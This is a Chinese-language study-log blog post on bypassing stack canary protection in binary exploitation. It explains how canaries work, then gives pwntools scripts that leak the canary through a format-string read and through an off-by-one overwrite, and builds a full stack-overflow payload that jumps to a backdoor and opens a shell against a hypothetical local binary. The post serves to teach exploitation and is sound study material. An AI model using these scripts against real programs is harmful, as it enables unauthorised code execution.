【学习记录】Week5(一):Canary 破防初战——格式化字符串与栈信息泄露原理

📅 2026/7/2 10:15:51
【学习记录】Week5(一):Canary 破防初战——格式化字符串与栈信息泄露原理
写在前面在 Week4 中我们的 ROP 链如入无人之境只要知道偏移量就能劫持程序。然而现代编译器早就为我们准备了一道防线——Canary金丝雀保护。一旦发生栈溢出覆盖到返回地址Canary 就会率先被破坏程序随之调用__stack_chk_fail终止运行。今天我们就来拆解 Canary 的保护机制并教你如何利用格式化字符串和栈信息泄露在不触发警报的情况下将其精准“偷”出来。 目录初识 Canary栈上的“防爆盾”核心痛点截断符\x00的保护机制破防之法一格式化字符串任意读泄露破防之法二覆盖截断符与栈信息连带泄露实战推演构造 Payload 绕过 Canary 检查1. 初识 Canary栈上的“防爆盾”Canary 是一种栈保护机制在 GCC 中通过-fstack-protector开启。它的原理很简单在函数序言阶段从fs段或gs段寄存器中取出一个随机的 Cookie 值放入栈上的EBP/RBP和局部变量之间。栈结构64位高地址 | 返回地址 (RIP) | | 保存的 RBP | | Canary (8字节) | - 随机值通常以 \x00 开头 | 局部变量 / buf | 低地址函数返回前程序会检查栈上的 Canary 是否与最初的值一致。如果被溢出覆盖导致不一致程序立刻崩溃。因此我们要想覆盖返回地址必须保持 Canary 原值不变。2. 核心痛点截断符\x00的保护机制Canary 为了防止被字符串函数如strcpy,puts泄露其设计上有一个特点最低位小端序下即第一个字节永远是\x00空字符。当程序调用puts打印栈上的缓冲区时遇到\x00就会停止打印。因此即使我们的buf紧挨着 Canaryputs也最多打印到buf的末尾遇到 Canary 的\x00就截断了无法直接泄露后 7 字节的随机数据。3. 破防之法一格式化字符串任意读泄露如果程序存在格式化字符串漏洞如printf(buf)Canary 的\x00截断就形同虚设了。因为%p或%s是根据偏移去栈上直接读取数据的不受\x00限制。假设性场景程序执行printf(buf)我们需要找到 Canary 在格式化字符串参数中的偏移量。通常Canary 距离buf有一定距离。假设我们通过测试输入%p.%p.%p...发现偏移量为 6 时打印出0x0a1b2c3d4e5f60注意末尾是00这极可能就是 Canary。实战 Payload 构造from pwn import * p process(./vuln) # 假设通过调试得知 Canary 在格式化字符串的第 7 个参数位置 ($7) # %7$p 会以十六进制打印第 7 个参数 p.sendline(b%7$p) # 接收并解析泄露的数据 leak p.recvline() # 假设接收到的字符串为 0x1234567890ab00 canary int(leak, 16) log.success(fLeaked Canary: {hex(canary)})4. 破防之法二覆盖截断符与栈信息连带泄露如果程序没有格式化字符串漏洞只有read和puts怎么办思路如果存在off-by-one差一溢出漏洞我们可以故意多写一个非空字节覆盖掉 Canary 的\x00。这样puts打印时就不会截断会把 Canary 剩下的 7 个随机字节连同后面的数据一并打印出来假设性场景程序使用read(0, buf, 0x18)而buf到 Canary 的距离刚好是0x18。这意味我们可以写满 24 字节刚好覆盖到 Canary 的首字节。步骤 1覆盖截断符# 发送 24 个 A刚好覆盖掉 Canary 的 \x00 p.send(bA * 0x18)步骤 2接收泄露的 Canary此时程序如果调用puts(buf)因为没有截断符它会一直打印直到遇到下一个\x00。打印内容为24个A Canary的后7字节。# 接收数据 p.recvuntil(bA * 0x18) # 此时后面的 7 个字节就是 Canary 的高位 leak_bytes p.recv(7) # 手动在末尾补上 \x00 还原完整的 8 字节 Canary canary u64(b\x00 leak_bytes) log.success(fLeaked Canary: {hex(canary)})5. 实战推演构造 Payload 绕过 Canary 检查拿到 Canary 后我们就可以肆无忌惮地进行栈溢出了。只要在对应的位置把偷来的 Canary 填回去就能顺利覆盖返回地址。完整栈结构推导64位假设偏移量buf到Canary是 24 字节Canary到RIP是 16 字节Canary 8字节 RBP 8字节。from pwn import * context.arch amd64 p process(./vuln) elf ELF(./vuln) # 1. 泄露 Canary (利用上述任一方法) canary 0x1234567890ab00 # 假设已经拿到 # 2. 构造最终 Payload offset_to_canary 24 offset_to_rip 16 # 假设我们要跳到后门函数 backdoor backdoor 0x401256 payload bA * offset_to_canary payload p64(canary) # 填入偷来的 Canary骗过检查 payload bB * 8 # 覆盖 8 字节的 RBP (随便填) payload p64(backdoor) # 覆盖返回地址劫持执行流 p.sendline(payload) p.interactive()模拟终端输出[] Starting local process ./vuln: pid 12345 [*] Switching to interactive mode $ id uid1000(user) gid1000(user) groups1000(user)程序顺利拿到 Shell并没有触发stack smashing detected崩溃6. 结语Canary 看似坚不可摧但其\x00截断的设计缺陷给了我们可乘之机。无论是利用格式化字符串的“无视防御直读”还是利用溢出抹除截断符的“引蛇出洞”核心都是先获取原值再伪造原值。但如果程序既没有格式化字符串漏洞也没有溢出能覆盖到 Canary 截断符甚至连puts都没有我们该怎么办下一篇我们将学习在无任何输出环境下的极端求生技能——逐字节爆破 Canary 与 Partial 绕过。如果本文对你有帮助请点赞收藏支持